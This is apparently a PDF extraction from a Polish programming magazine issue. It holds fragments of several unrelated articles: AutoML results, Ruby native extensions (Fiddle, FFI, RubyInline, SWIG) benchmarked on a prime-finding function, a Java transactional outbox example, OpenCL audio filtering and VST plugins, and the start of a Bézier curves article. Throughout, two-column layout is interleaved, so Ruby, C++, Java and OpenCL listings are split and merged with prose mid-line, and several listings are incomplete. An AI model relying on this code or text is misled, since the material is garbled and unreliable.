PERSPEKTYWY I WNIOSKI wielokrotnie mniejsze niż obróbka danych. AutoML daje jednak duże
pole do eksperymentowania osobom, które nie są związane technicznie
Zbiór danych Dogs vs Cats stał się jednym z klasyków uczenia ma- ze sztuczną inteligencją. Dobry przykład stanowią przytoczone powyżej
szynowego. Najwyższa odnotowana dokładność na tym zbiorze osią- prace [18, 20], w których wykorzystano AutoML do wsparcia diagnosty-
gnęła na platformie Kaggle 99%, co po dokonaniu kilku przekształ- ki oczu. Autorami tej pracy (oraz rozwiązania) są okuliści.
ceń wzorów jest porównywalnym wynikiem z tym osiągniętym przez
nasz model. Oznacza to, że możliwości rozwiązań AutoML zbliżają
się do osiągnięć uzyskanych przez specjalistyczne zespoły. Warto
W sieci
mieć na uwadze także fakt, że nasz zbiór danych składał się wyłącz-
nie z oryginalnych zdjęć, których nie poddawaliśmy żadnym dodat- [1] Siri – Apple, https://www.apple.com/siri/
[2] Amazon Alexa Voice AI, https://developer.amazon.com/en-US/alexa/
kowym procesom wstępnego przetwarzania. Takie kroki są jednak [3] Introducing ChatGPT, https://openai.com/blog/chatgpt/
[4] Google Cloud Computing Services, https://cloud.google.com/
standardem podczas stosowania klasycznych podejść przy tworzeniu [5] Usługi przetwarzania w chmurze, https://azure.microsoft.com/
systemów uczących się. [6] Cloud Computing Services – Amazon Web Services, https://aws.amazon.com/
[7] Cloud Infrastructure, https://www.oracle.com/cloud/
AutoML znajduje coraz częściej zastosowanie w medycynie. Guan [8] IBM Cloud, https://cloud.ibm.com/
i inni [18] wykorzystali to narzędzie m.in. do klasyfikacji retinopa- [9] Clarifai AI Platform, https://www.clarifai.com/
[10] Deep Learning – medicmind, http://medicmind.tech/
tii cukrzycowej (ang. diabetic retinopathy – DR) oraz zwyrodnienia [11] Create ML Overview, https://developer.apple.com/machine-learning/create-ml/
plamki żółtej (ang. age-related macular degeneration – AMD) na pod- [12] Vertex AI – Google Cloud, https://cloud.google.com/vertex-ai
[13] Time Series Forecasting Service, https://aws.amazon.com/forecast/
stawie skanów OCT (ang. optical coherence tomography). Autorzy uzy- [14] Dogs vs. Cats – Kaggle, https://www.kaggle.com/c/dogs-vs-cats
skali wartość AUC [20] (ang. area under the ROC curve) wynoszącą [15] Visual Studio Code – Code Editor, https://code.visualstudio.com/
[16] Pricing – Vertex AI, https://cloud.google.com/vertex-ai/pricing
97%. Dla porównania, Zang i inni [19], stosując klasyczne podejście, [17] Vertex AI SDK for Python, https://github.com/googleapis/python-aiplatform/blob/
main/samples/snippets/prediction_service/predict_image_classification_sample.py
uzyskali AUC wynoszący odpowiednio 95% oraz 98% w klasyfikacji
[18] Guan, Z., Zhang, G., Korot, E., Ferraz, D. A., Khalid, H., Wagner, S., Keane, P. A. (2020).
DR oraz AMD. Możemy zauważyć, że wydajność modeli AutoML Code-free mobile automated deep learning model for ophthalmic image classification
and deployment as an app for smartphones. Investigative ophthalmology & visual
jest obiecująca także we wsparciu diagnostyki medycznej, mimo zło- science, 61(7), 2006.
żonemu charakterowi danych wejściowych. Obecnie jest jednak za [19] Zang, P., Hormel, T. T., Hwang, T. S., Bailey, S. T., Huang, D., Jia, Y. (2023). Deep-le-
arning-aided diagnosis of diabetic retinopathy, age-related macular degeneration, and
wcześnie na stosowanie modeli utworzonych za pomocą rozwiązań glaucoma based on structural and angiographic OCT. Ophthalmology Science, 3(1).
AutoML w przypadkach klinicznych m.in. ze względu na ograniczone [20] Fawcett, T. (2006). An introduction to ROC analysis. In Pattern Recognition Letters
(Vol. 27, Issue 8, pp. 861–874). Elsevier BV. https://doi.org/10.1016/j.patrec.2005.10.010
możliwości wyjaśnialności i interpretowalności (ang. interpretability).
user
find_primes
system
1.526844
total
0.000000 1.526844 (
real
1.527416)
gam jednak przed wyciąganiem zbyt daleko idących wniosków na
Listing 3. Wyniki pomiaru czasu wykonania z użyciem techniki JIT
podstawie małej liczby próbek.
user system total real
find_primes 1.003313 0.000627 1.003940 ( 1.004472)
KOD W RUBY
Jako przykład kodu, który znacząco zyska na przeniesieniu do war- Mając te wyniki, możemy zaobserwować, że zastosowanie JIT zna-
stwy wykonywanej natywnie, wezmę szukanie liczb pierwszych w za- cząco wpływa na wydajność naszego kodu. Czas wykonania funkcji
danym przedziale. Implementacja naiwnej funkcji is_prime? znaj- find_primes uległ wyraźnemu skróceniu, co świadczy o korzyściach
duje się w Listingu 0. płynących z optymalizacji kodu przy użyciu tej techniki.
def is_prime? n
FIDDLE
return false if n < 2
return true if n == 2 Gem Fiddle (nie mylić z Fiddler) to biblioteka języka Ruby, która
return false if n % 2 == 0 umożliwia bezpośredni dostęp do funkcji zadeklarowanych w języku
(3..Math.sqrt(n)).step(2) do |i|
return false if n % i == 0 C z języka Ruby. Pozwala na tworzenie i operowanie na obiektach, ope-
end
true
rowanie na wskaźnikach i strukturach, a także wywoływanie funkcji.
end Fiddle jest elementem biblioteki standardowej, co oznacza, że jest
def find_primes range dostępny bez konieczności instalacji dodatkowych gemów. Biblioteka
range.select{ |n| is_prime? n } ta działa na zasadzie wiązania dynamicznego (ang. dynamic linking).
end
Zaimplementujmy zbliżony algorytm do tego pokazanego w Li-
Przetestujmy ją na zakresie między [1015, 1015+99]. Oczekiwanym re- stingu 0, ale tym razem używając C++. Funkcja is_prime zwraca typ
zultatem jest znalezienie dwóch liczb pierwszych: int, a nie bool, ponieważ niektóre z później wykorzystanych technik
» 1015+37 będą tego wymagały. W Listingu 4 przedstawiono kod źródłowy al-
» 1015+91 gorytmu, a w Listingu 5 jego plik nagłówkowy. Plik projektu CMake
znajduje się w Listingu 6.
Listing 1. Kod implementujący pomiar czasu wykonania za pomocą modułu
benchmark Listing 4. prime.cpp
Benchmark.bm do |x| #include "prime.hpp"
x.report("find_primes") do #include <cmath>
raise "not equal" unless [
1000000000000037, extern "C"
1000000000000091 int is_prime(int64_t n)
] == find_primes( {
1_000_000_000_000_000..1_000_000_000_000_099 if (n < 2) return 0;
) if (n == 2) return 1;
end
end if (n % 2 == 0) return 0;
IS_PRIME_FUNC = Fiddle::Function.new(
Listing 6. CMakeLists.txt
libprime['is_prime'],
[Fiddle::TYPE_LONG_LONG],
cmake_minimum_required(VERSION 3.26) Fiddle::TYPE_INT
project(prime VERSION 1.0 LANGUAGES CXX) )
Benchmark.bm do |x|
Efektem budowy tego projektu będzie biblioteka libprime.so., którą x.report("find_primes") do
raise "not equal" unless [
będzie można linkować dynamicznie, co umożliwi wykorzystanie jej 1000000000000037,
w innych programach – w tym przypadku w interpreterze Ruby. 1000000000000091
] == find_primes(
Listing 7. Wywołanie CMake 1_000_000_000_000_000..1_000_000_000_000_099
)
end
% cmake -S . -B build -DCMAKE_BUILD_TYPE=Release
end
-- The CXX compiler identification is GNU 13.1.1
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done Wywołanie tego kodu daje następujące rezultaty:
-- Check for working CXX compiler: /usr/bin/c++ - skipped
-- Detecting CXX compile features
-- Detecting CXX compile features - done Listing B. Pomiar czasu wykonania programu z użyciem Fiddle
-- Configuring done (0.2s)
-- Generating done (0.0s) user system total real
-- Build files have been written to: /[...]/build find_primes 0.079105 0.000433 0.079538 ( 0.079642)
% cmake --build build
[ 50%] Building CXX object CMakeFiles/[...]/prime.cpp.o
[100%] Linking CXX shared library libprime.so
[100%] Built target prime Można zauważyć, że przyspieszenie jest prawie dwudziestokrotne w po-
% ls -lah build/libprime.so równaniu do kodu w Ruby, mimo że nie została zastosowana żadna
-rwxr-xr-x 1 krzaq krzaq 15K Jun 30 18:40 build/libprime.so
optymalizacja na poziomie algorytmicznym.
return 1;
require 'benchmark'
}
require 'minitest'
CODE
require 'ffi'
end
module LibPrime end
extend FFI::Library
ffi_lib '../shared_prime/build/libprime.so'
attach_function :is_prime, [:long_long], :int Definicja funkcji is_prime? wymagać będzie utworzenia instancji
end klasy PrimeChecker, a następnie wywołania zdefiniowanej w niej
def is_prime? n funkcji języka C. Zostało to przedstawione w Listingu 11.
LibPrime.is_prime(n) == 1
end Listing 11. Implementacja funkcji is_prime? z użyciem RubyInline
def find_primes range
range.select{ |n| is_prime? n } PC = PrimeChecker.new
end
def is_prime? n
Benchmark.bm do |x| PC.is_prime(n) == 1
x.report("find_primes") do end
raise "not equal" unless [
1000000000000037,
1000000000000091
Cały kod programu, który korzysta z RubyInline do osadzenia kodu
] == find_primes( C w Ruby, znajduje się w Listingu 12.
1_000_000_000_000_000..1_000_000_000_000_099
) Listing 12. Pełen przykład wykorzystania RubyInline w kodzie Ruby
end
end
require 'benchmark'
require 'minitest'
require 'inline'
Różnica wydajności pomiędzy FFI a Fiddle jest minimalna i mieści class PrimeChecker
się w granicach błędu pomiarowego. Poniżej przedstawiono wyniki inline do |builder|
builder.c <<CODE
pomiaru czasu wykonania: int is_prime(long n)
{
Listing F. Pomiar czasu wykonania programu z użyciem FFI if (n < 2) return 0;
if (n == 2) return 1;
user system total real
find_primes 0.076062 0.000567 0.076629 ( 0.076741) if (n % 2 == 0) return 0;
def is_prime? n
RUBYINLINE end
PC.is_prime(n) == 1
{ WWW.PROGRAMISTAMAG.PL } <29>
JĘZYKI PROGRAMOWANIA
» C#
» D Kolejnym krokiem jest zdefiniowanie pliku extconf.rb (Listing 17),
» Go który odpowiedzialny będzie zarówno za wygenerowanie pliku Ma-
» Guile kefile (Listing 18), jak i jego uruchomienie (Listing 19).
» Java
Listing 17. Plik extconf.rb
» Javascript
» Lua require 'mkmf'
» MzScheme/Racket have_library('stdc++')
int is_prime(int64_t n) Listing 1A. Kod wykorzystujący moduł primechecker utworzony z pomocą SWIG
{ require 'benchmark'
if (n < 2) return 0; require 'minitest'
if (n == 2) return 1; require 'primechecker'
if (n % 2 == 0) return 0; def is_prime? n
Primechecker.is_prime(n) == 1
for (int64_t i = 3; i * i <= n; i += 2) {
end
if (n % i == 0) return 0;
} def find_primes range
range.select{ |n| is_prime? n }
return 1;
end
}
Benchmark.bm do |x|
x.report("find_primes") do
Następnie generujemy plik interfejsu SWIG-a. Warto zaznaczyć, że na- raise "not equal" unless [
zwa modułu zaczyna się małą literą, pomimo tego, że konwencją w 1000000000000037,
1000000000000091
Ruby jest zaczynanie jej literą wielką. Konwersja ta zostanie dokona- ] == find_primes(
na automatycznie przez generator. 1_000_000_000_000_000..1_000_000_000_000_099
)
Listing 15. Plik interfejsu SWIG end
end
%module primechecker
Listing 1B. Pomiar czasu wykonania programu z użyciem SWIG Listing 1C. Funkcja primechecker_is_prime
/* REKLAMA */
{ WWW.PROGRAMISTAMAG.PL } <31>
JĘZYKI PROGRAMOWANIA
Całkowity kod źródłowy znajduje się w Listingu 1E. Zawiera on wy- Użycie takiego modułu przedstawiono w Listingu 21. Można za-
mienione wyżej funkcje oraz podstawową implementację is_prime. uważyć, że nie ma znaczących różnic względem przykładu z użyciem
SWIG.
Listing 1E. Kod źródłowy modułu PrimeChecker
Listing 21. Użycie samodzielnie zdefiniowanego modułu PrimeChecker
#include <cmath>
extern "C" void Init_primechecker() Pod względem wydajności rozwiązanie to również wygląda podobnie
{
VALUE mPrimeChecker = rb_define_module("PrimeChecker"); do poprzednich. Narzut Ruby jest pomijalny, a czas wykonania bez
rb_define_module_function( różnic.
mPrimeChecker,
"is_prime", Listing 22. Pomiar czasu wykonania programu z użyciem modułu w C
RUBY_METHOD_FUNC(primechecker_is_prime),
1
user system total real
);
find_primes 0.075535 0.000515 0.076050 ( 0.076115)
}
Ma
c iej icz
A niserow
O a
lg Ma
aM rm za k
a c i a s z e k- S h a rc i n
G r z e j s zc
ExternalResourceResponsDto response =
SET THE STAGE httpClient.post(dto);
entity.setExternalId(response.getId());
stał się legacy na długo zanim dołączyliśmy do zespołu. System został commitDbTransaction();
Rysunek 2. Zgodnie z wymaganiami komunikacja pomiędzy serwerem, bazą danych i serwisem zewnętrznym zachodzi w ramach jednej transakcji
Rysunek 3. Jaki będzie stan całego systemu, jeśli po zapytaniu wystąpi błąd?
{ WWW.PROGRAMISTAMAG.PL } <35>
PROGRAMOWANIE ROZWIĄZAŃ SERWEROWYCH
{ WWW.PROGRAMISTAMAG.PL } <37>
PROGRAMOWANIE ROZWIĄZAŃ SERWEROWYCH
return savedEntity;
}
@Scheduled(fixedRate = 5000)
@Transactional
public void checkOutbox() {
List<OutboxEntity> toProcess = repository.
findByStatus(
OutboxEntityStatus.CREATED,
Rysunek 6. Prosty model encji przykładowych serwisów PageRequest.of(0, 10));
log.info("check outbox, found: {}"
toProcess.size());
for (OutboxEntity entity : toProcess) {
Zapisywanie encji głównej i wiadomości w tabeli OUTBOX try {
processSingleRequest(entity);
W klasie pl.solidline.pub.top.mainservice.ResourceSer- } catch (Exception e) {
vice4 znajduje się metoda createResourceWithOutbox, której za- entity.failed();
log.warn("error sending message", e);
daniem jest utworzenie naszej encji głównej (tutaj ResourceEntity) }
i zapisanie wpisu w tabeli OUTBOX (reprezentowanego przez klasę }
}
OutboxEntity5).
private void processSingleRequest(
Listing 3. Aktualizacja encji głównej i zapis w tabeli OUTBOX w tej samej OutboxEntity entity) {
transakcji log.info("process outbox id: {}",
entity.getId());
ExternalResourceResponseDto response =
@Transactional
request(entity);
public ResourceEntity
createResourceWithOutbox(ResourceDto input) { entity.setExternalId(response.id());
ResourceEntity newEntity = entity.success();
new ResourceEntity(); repository.save(entity);
resourceRepository.save(
entity.getRelatedEntity());
2. https://bitbucket.org/tkowalski/transactional-outbox-pattern/src/master/main-service/src/main/java/
pl/solidline/pub/top/mainservice/ResourceEntity.java }
3. https://bitbucket.org/tkowalski/transactional-outbox-pattern/src/master/external-service/src/main/
private ExternalResourceResponseDto request(
java/externalservice/ExternalResourceEntity.java
OutboxEntity entity) {
4. https://bitbucket.org/tkowalski/transactional-outbox-pattern/src/master/main-service/src/main/java/
pl/solidline/pub/top/mainservice/ResourceService.java
5. https://bitbucket.org/tkowalski/transactional-outbox-pattern/src/master/main-service/src/main/java/ 6. https://bitbucket.org/tkowalski/transactional-outbox-pattern/src/master/main-service/src/main/java/
pl/solidline/pub/top/mainservice/OutboxEntity.java pl/solidline/pub/top/mainservice/OutboxProcess.java
W sieci
[1] Two-phase commit protocol, https://en.wikipedia.org/wiki/Two-phase_commit_protocol
[2] Pattern: Transactional outbox, https://microservices.io/patterns/data/transactional-outbox.html
[3] Pattern: Transaction log tailing, https://microservices.io/patterns/data/transaction-log-tailing.html
[4] Use Change Streams instead of Traditional Outbox or Distributed Transactions, https://dev.to/deyanp/use-change-streams-instead-of-traditional-outbox-or-distributed-transactions-cdb
[5] Stop Overusing the Outbox Pattern, https://www.squer.io/blog/stop-overusing-the-outbox-pattern
[6] Event-Driven Data Management for Microservices, https://www.nginx.com/blog/event-driven-data-management-microservices/
TOMASZ KOWALSKI
tomasz.kowalski@solid-line.pl
Od ponad dekady programista i inżynier oprogramowania. Od lat rozwija głównie systemy backendowe, gdzie mógł poznać
wady i problemy architektury mikroserwisów. Uważa, że nie istnieje jedyny słuszny język programowania, ale nie ma lepszego
ekosystemu niż Java (i nie zamierza na ten temat dyskutować, bo po co, każdy ma w końcu prawo do jakichś tam poglądów).
{ WWW.PROGRAMISTAMAG.PL } <39>
PRZETWARZANIE RÓWNOLEGŁE I ROZPROSZONE
OBLICZENIA WEKTOROWE Dzięki otwarciu tej platformy dla ogólnych obliczeń przez standard
OpenCL [2] możliwe stało się m.in. uruchomienie kopalni kryptowa-
Architektura SIMD (Single Instruction Multiple Data) pozwala na efek- lut w warunkach domowych czy uczenie głębokich sieci neurono-
tywne wykonywanie tej samej operacji dla różnych danych. Pojedyncza wych, a także przetwarzanie audio z masywnie równoległą operacją
instrukcja jest w takich procesorach realizowana na wektorach danych, MAC (Multiply-and-Accumulate).
czyli dane są przetwarzane równolegle. Przykłady takich procesorów
z instrukcjami SIMD to Intel 64 (x86-64) z technologiami MMX/SSE/
TYPOWE OBLICZENIA AUDIO
AVX czy ARM z technologią NEON. Długość przetwarzanego równo-
legle wektora w tych rozwiązaniach to kilka elementów, np. instrukcje Programowe przetwarzanie sygnału dźwięku w postaci cyfrowej jest
SIMD AVX-512 operują na rejestrach 512-bitowych, co umożliwia wykonywane w systemach wbudowanych tradycyjnie na procesorach
przetwarzanie równocześnie np. 16 wartości typu float lub 32 wartości sygnałowych DSP [3]. Charakteryzują się one zazwyczaj potokowym
typu int16_t jedną instrukcją procesora. Może to być na przykład 16 przetwarzaniem danych. Wejścia/wyjścia takich procesorów (I2S, TDM,
kanałów audio z dwóch sumowanych (miksowanych) źródeł: SPDIF, AVB) dostarczają strumienie audio, a poprzez transfery DMA
(Direct Memory Access) pozyskiwane są bufory próbek audio. Algoryt-
my przetwarzania buforów audio na DSP programuje się zwykle w ję-
zykach niskopoziomowych C/C++ z optymalizacją zasobożernych pętli.
Procesory DSP są projektowane do wykonywania specyficznych
algorytmów obliczeniowych, gdzie bufor próbek wyjściowych (sam-
pli audio) zależy od bufora próbek wejściowych i zmiennych stanu
algorytmu. Przykładem algorytmu z prostą zależnością od wejścia
i bez zależności od stanu może być algorytm kontroli głośności (ska-
lowania) próbki wejściowej x do próbki wyjściowej y:
Rysunek 2. Przykładowa architektura GPU Rysunek 3. Algorytm filtracji bloku N próbek pojedynczego kanału audio filtrem FIR o długości K
PROGRAMOWANIE GPU W obszarze przetwarzania audio bardzo ważne jest utrzymanie ni-
skiego opóźnienia sygnału wyjściowego względem wejściowego. Wy-
Na rynku dostępnych jest wiele narzędzi umożliwiających obliczenia maga to zastosowania krótkich buforów (choć nie przesadnie krótkich
z wykorzystaniem współpracujących ze sobą jednostek CPU i GPU – tu trzeba eksperymentować), co w linii prostej przekłada się na to, że
(np. CUDA opracowane przez firmę Nvidia czy Vulkan od AMD). cały proces przetwarzania musi być wykonywany nawet kilkaset razy w
W większości są to jednak narzędzia tworzone pod konkretnego do- ciągu jednej sekundy. Wtedy czasy transferu danych zaczynają odgry-
stawcę procesorów. Żeby tworzyć programy „hybrydowe”, na wiele wać znaczącą rolę w odniesieniu do całkowitego czasu wykonywania
platform naraz, potrzebne jest niezależne środowisko. się programu. Jeżeli ścieżka przetwarzania jest bardziej skomplikowana
i składa się z kilku funkcji jądra z oddzielnymi algorytmami, możemy
bezpośrednio przepisywać bufory wyjściowe jako wejściowe kolejnych
ŚRODOWISKO OPENCL
kerneli, co znacznie zredukuje czas transferu. Kolejnym pomysłem jest
OpenCL, a właściwie Open Computing Language, to framework stwo- zastosowanie metody pull-push, gdzie host CPU nie czeka na wynik po
rzony w 2009 roku przez Apple i utrzymywany do dziś dzięki organi- stronie GPU, a bufor wyjściowy jest kopiowany na początku kolejnego
zacji non-profit Khronos Group. Pozwala on przyspieszać aplikacje, cyklu przetwarzania. Takie podejście ma niestety jedną wadę – wpro-
dzięki wykorzystaniu zrównoleglenia obliczeń na niejednorodnych plat- wadza do sygnału wyjściowego dodatkowe opóźnienie.
formach składających się z różnego rodzaju jednostek obliczeniowych. Funkcje jądra OpenCL przesyłane do kolejki poleceń są szerego-
Aplikacja OpenCL składa się z dwóch części – programu hosta wane zgodnie z kolejnością wywoływania, ale można je skonfiguro-
i kodu akceleratora, którym w tym przypadku jest procesor gra- wać tak, aby wykonywały się bez narzuconej kolejności (wtedy sche-
ficzny GPU. Kod aplikacji hosta może być napisany w C lub C++ duler GPU sam decyduje o optymalnej sekwencji wykonania).
i skompilowany przez standardowy kompilator, ale programy jądra
po stronie akceleratora można pisać jedynie w określonym dialekcie
PRZYKŁADOWE JĄDRO OBLICZENIOWE
C (OpenCL C) lub C++ (C++ for OpenCL).
Oprócz specjalnie zdefiniowanych języków programowania stan- Jako przykładowy kod wykonywania obliczeń na próbkach dźwięko-
dard OpenCL zapewnia również API, które umożliwia zarządzanie wych wykorzystamy prosty kernel wykonujący operację pojedynczej
kontekstami i pamięcią współdzieloną, tworzenie kolejek, urucha- filtracji IIR drugiego rzędu.
mianie programów jądra (kerneli) na jednostkach obliczeniowych Jak już wcześniej wspomniano, kod kernela powinien być napisany
czy wyszukiwanie błędów. OpenCL obsługuje również kompilację w specjalnym dialekcie C lub C++, który nie różni się za bardzo od imple-
w czasie rzeczywistym, dzięki czemu aplikacje automatycznie korzy- mentacji w czystym C. Istotną modyfikacją jest wykorzystanie słowa klu-
stają z najnowszego oprogramowania urządzenia docelowego, bez po- czowego __global, używanego w odniesieniu do zmiennych w obszarze
trzeby ponownej kompilacji głównego programu. Dzięki temu może- pamięci współdzielonej pomiędzy CPU i GPU, które są tam alokowane
my w pełni wykorzystać architekturę specyficzną dla jednostek GPU. i definiowane przez aplikację hosta (czyli kodem działającym na CPU).
{ WWW.PROGRAMISTAMAG.PL } <41>
PRZETWARZANIE RÓWNOLEGŁE I ROZPROSZONE
Listing 1. Funkcja kernela OpenCL wykonująca operację filtracji IIR staje się niemożliwe. Sposobem na przetwarzanie równoległe w tym
__kernel void biquad_kernel(__global const float* invec, przypadku jest filtracja większej ilości buforów jednocześnie. Nie jest
__global float* outvec, to optymalizacja w żaden sposób „naciągana”, ponieważ dźwięk wie-
__global float* delay,
__global const float* coeffsA, lokanałowy, a co za tym idzie równoczesne przetwarzanie nawet do
__global const float* coeffsB,
kilkudziesięciu buforów, to sytuacja powszechnie spotykana w audio.
int nbOfSamples)
{ Samo wywołanie kernela nie odbiega zbytnio od zwykłego wywo-
float tmpIn, tmpOut;
łania funkcji w języku C.
int ch = get_global_id(0);
Listing 2. Wywołanie kernela OpenCL w języku C
int nbOfCoeffs = 3;
int nbOfDelays = 2;
for(ch = 0; ch < maxChannels; ch++)
__global const float* in = &invec[ch * nbOfSamples]; {
__global float* out = &outvec[ch * nbOfSamples]; for(i = 0; i < blockSize; i++)
{
const float a1 = coeffsA[ch * nbOfCoeffs + 1]; mData[ch*blockSize + i] = in[ch][i];
const float a2 = coeffsA[ch * nbOfCoeffs + 2]; }
const float b0 = coeffsB[ch * nbOfCoeffs + 0]; }
const float b1 = coeffsB[ch * nbOfCoeffs + 1];
const float b2 = coeffsB[ch * nbOfCoeffs + 2]; clEnqueueWriteBuffer(processCtx->clQueue,
processCtx->inClBuffer,
float state0 = delay[ch * nbOfDelays + 0]; CL_FALSE, 0,
float state1 = delay[ch * nbOfDelays + 1]; maxChannels*blockSize*sizeof(float),
mData, 0, NULL, NULL);
for(int i = 0; i < nbOfSamples; i++)
{ clEnqueueNDRangeKernel(processCtx->clQueue,
tmpIn = in[i]; processCtx->biquadKernel, 1, NULL,
tmpOut = b0 * tmpIn + state0; &global_item_size, NULL, 0, NULL, NULL);
state0 = b1 * tmpIn - a1 * tmpOut + state1;
state1 = b2 * tmpIn - a2 * tmpOut; clEnqueueReadBuffer(processCtx->clQueue,
out[i] = tmpOut; processCtx->outClBuffer,
} CL_TRUE, 0,
maxChannels*blockSize*sizeof(float),
delay[ch * nbOfDelays + 0] = state0; mData, 0, NULL, NULL);
delay[ch * nbOfDelays + 1] = state1;
} for(ch = 0; ch < maxChannels; ch++)
{
for(i = 0; i < blockSize; i++)
{
Samo przetwarzanie audio nie jest skomplikowane – na podstawie out[ch][i] = mData[ch*blockSize + i];
obliczonych wcześniej współczynników filtra IIR drugiego rzędu oraz }
}
bufora próbek wejściowych obliczany jest bufor wyjściowy. Proble-
mem tutaj może być wykorzystanie pętli sprzężenia zwrotnego, przez
którą zrównoleglenie obliczeń względem ilości próbek w buforze
PLUGINY AUDIO Transform) lub splot sygnałów. Można też skorzystać bezpośrednio
z biblioteki OpenCL, z której czerpie sam TAN. Integracja bibliotek
Efekty audio (znane także jako plugin, wtyczka, moduł audio czy w środowisku JUCE sprowadza się do procesu linkowania i dodania
procesor dźwięku) w kontekście tego artykułu rozumiane są jako jed- odpowiednich źródeł do projektu.
nostki oprogramowania przetwarzające sygnały cyfrowe w czasie rze-
czywistym, często mające konkretną rolę (np. wzmocnienie sygnału,
jego filtracja lub kompresja).
Prostym i przystępnym sposobem na pracę z tego rodzaju przetwa-
rzaniem dźwięku na PC jest skorzystanie z powszechnie dostępnego
oprogramowania typu DAW (Digital Audio Workstation), które pozwa-
la między innymi na nagrywanie i skomplikowaną edycję wielościeżko-
wych projektów dźwiękowych (np. REAPER [4]). Najpopularniejszym
standardem przetwarzania dźwięku w takim środowisku są wtyczki VST.
WTYCZKI VST
VST (Virtual Studio Technology) to opracowany w latach 90-tych
przez firmę Steinberg standard cyfrowych efektów audio z interfej-
sem graficznym (i nie tylko – technologia oferuje obsługę wirtual-
Rysunek 6. Środowisko JUCE
nych instrumentów, samplerów, obsługę MIDI). Standard doczekał
się już trzeciej wersji (VST3) i ma w pełni otwartą dokumentację [5].
VST NA GPU – SPECTRUM, REVERB, EQ
VST wymaga środowiska uruchomieniowego (VST host), którym
jest np. współpracujący bezpośrednio z kartą dźwiękową DAW. Idea Z zaadaptowanymi bibliotekami TAN oraz OpenCL w środowisku
VST i pluginów audio polega na prostej, krokowej budowie łańcucha JUCE utworzone zostały trzy modelowe przykłady implementacji
przetwarzania sygnału audio. W praktyce, otwierając sesję DAW, wy- efektów audio: pluginy Spectrum, Reverb oraz EQ. Interfejs graficzny
starczy zaimportować plik audio, nałożyć na jego ścieżkę dany moduł każdego z nich pozwala na przełączanie się pomiędzy przetwarza-
i można w czasie rzeczywistym usłyszeć, jaki ma wpływ na wejściowy niem na CPU i GPU, a także analizę podstawowych informacji po-
strumień dźwięku. Nie musimy się przejmować parametrami tech- równawczych, jak na przykład czas wykonywania danych obliczeń.
nicznymi ścieżki przetwarzania (zadanymi przez VST host, takimi Każdy z wymienionych przykładów wraz z jego kodem źródłowym
jak np. częstotliwość próbkowania, głębia bitowa, format pliku wej- można znaleźć na dedykowanej stronie [8].
ściowego) – plugin radzi sobie z tym samodzielnie. SpectrumPlugin, czyli graficzny analizator zawartości częstotliwo-
ściowej sygnału wykorzystujący implementację TAN FFT (TANCre-
ateFFT()). Plugin wyposażony został w dodatkową możliwość sterowa-
PLATFORMA JUCE
nia rozmiarem ramki danych pobieranych do pojedynczej operacji FFT
JUCE [6] to multi-platformowe środowisko programistyczne służą- (mniejsza lub większa rozdzielczość wyświetlanego spektrum sygnału).
ce do tworzenia aplikacji i bibliotek w języku C++, ze szczególnym
wsparciem dla obszaru audio. Platforma jest zintegrowana z najpopu-
larniejszymi IDE (Integrated Development Environment) dla danych
systemów operacyjnych, potrafi generować gotowe projekty-szkie-
lety dla wspieranych typów oprogramowania, a to wszystko oferuje
w przystępnej formie z interfejsem graficznym. Na szczególną uwagę
zasługuje wsparcie tworzenia i debugowania wtyczek audio – JUCE Rysunek 7. Interfejs graficzny SpectrumPlugin
pozwala stworzyć gotowy projekt, np. dla standardu VST3, jednocze-
śnie dostarczając pełnoprawne oprogramowanie VST host do samo- ReverbPlugin, czyli pogłos działający w oparciu o funkcję splotu z odpo-
dzielnych i natychmiastowych testów pisanego pluginu. Programisty wiedzią impulsową kilku różnych scen akustycznych (IR type). Wy-
w tym wypadku nie interesuje szczegółowa definicja standardu od korzystane zostały do tego kernel TAN na potrzeby obliczeń splotu
firmy Steinberg – JUCE konfiguruje projekt za niego, pozostawiając (TANCreateConvolution()) oraz osobny kernel OpenCL do wyli-
najbardziej istotne i twórcze zajęcie, czyli algorytm przetwarzania czania proporcji między sygnałami wyjściowymi, odpowiednio nie-
dźwięku i interfejs graficzny pluginu (odpowiednio dwie klasy wy- przetworzonym (Dry) i przetworzonym (Wet). Dodatkową opcją jest
magające implementacji – PluginProcessor oraz PluginEditor). wybór sposobu transferu danych pomiędzy CPU a GPU (Data flow
Plugin VST domyślnie pracuje na procesorze CPU. W celu prze- – opcje Push-pull i Pull-push).
kierowania operacji obliczeniowych na kartę graficzną można sko- Na pluginie prowadzone były też eksperymenty z wykorzystaniem
rzystać z biblioteki AMD TAN (TrueAudioNext [7]). Interfejs bi- opcji rezerwacji części jednostek CU na potrzeby przetwarzania audio,
blioteki TAN, poza częścią inicjalizacyjną, oferuje proste metody do udostępnianej przez AMD. Ze względu na niekompatybilność z GPU
przenoszenia niektórych obliczeń na GPU – np. FFT (Fast Fourier innych producentów została ona wyłączona i jest jedynie obecna w GUI.
{ WWW.PROGRAMISTAMAG.PL } <43>
PRZETWARZANIE RÓWNOLEGŁE I ROZPROSZONE
Rysunek 10. Porównanie czasu obliczeń Biquad5 w funkcji rozmiaru bufora sampli audio
dla GPU i CPU
PODSUMOWANIE Łukasz, Marta, Tomek i Witek z Centrum Technicznego Aptiv Kraków TCK
zajmują się projektowaniem, implementacją i weryfikacją przetwarzania
audio w samochodowych systemach Infotainment. Poza regularnymi
„Przetwarzanie audio na procesorze graficznym” do niedawna brzmiało
projektami dla wiodących producentów samochodów eksperymentują
dziwacznie. Jednak otwarcie platformy GPU dla ogólnych obliczeń wek- z dźwiękiem na nowych platformach.
torowych przez języki typu OpenCL umożliwiło przeniesienie masywnie
Krzywe Béziera
Czas porozmawiać o genialnym w swojej prostocie matematycznym konstrukcie, obecnym bo-
daj w każdym obszarze informatyki związanym w jakikolwiek sposób z grafiką komputerową.
RENAULT VS CITROEN Aby uniknąć liczenia silni (lub, co nieco sprytniejsze, skracania
ułamków i obliczania iloczynów), możemy skorzystać z ciekawego
Niełatwo jest znaleźć kogoś, kto nie miał nigdy do czynienia z krzywy- matematycznego konstruktu, jakim jest trójkąt Pascala. Wyobrażamy
mi Béziera. Są one obecne w aplikacjach do edycji grafiki wektorowej go sobie następująco: konstruujemy wiersze zawierające ciągi liczb.
(np. Inkscape, CorelDRAW), rastrowej (GIMP, Adobe Photoshop), W pierwszym wierszu znajduje się jedynka, a każdy kolejny wiersz
trójwymiarowej (Blender, 3D Studio Max, Maya), w aplikacjach typu zawiera zawsze o jedną wartość więcej niż poprzedni. Na skraju znaj-
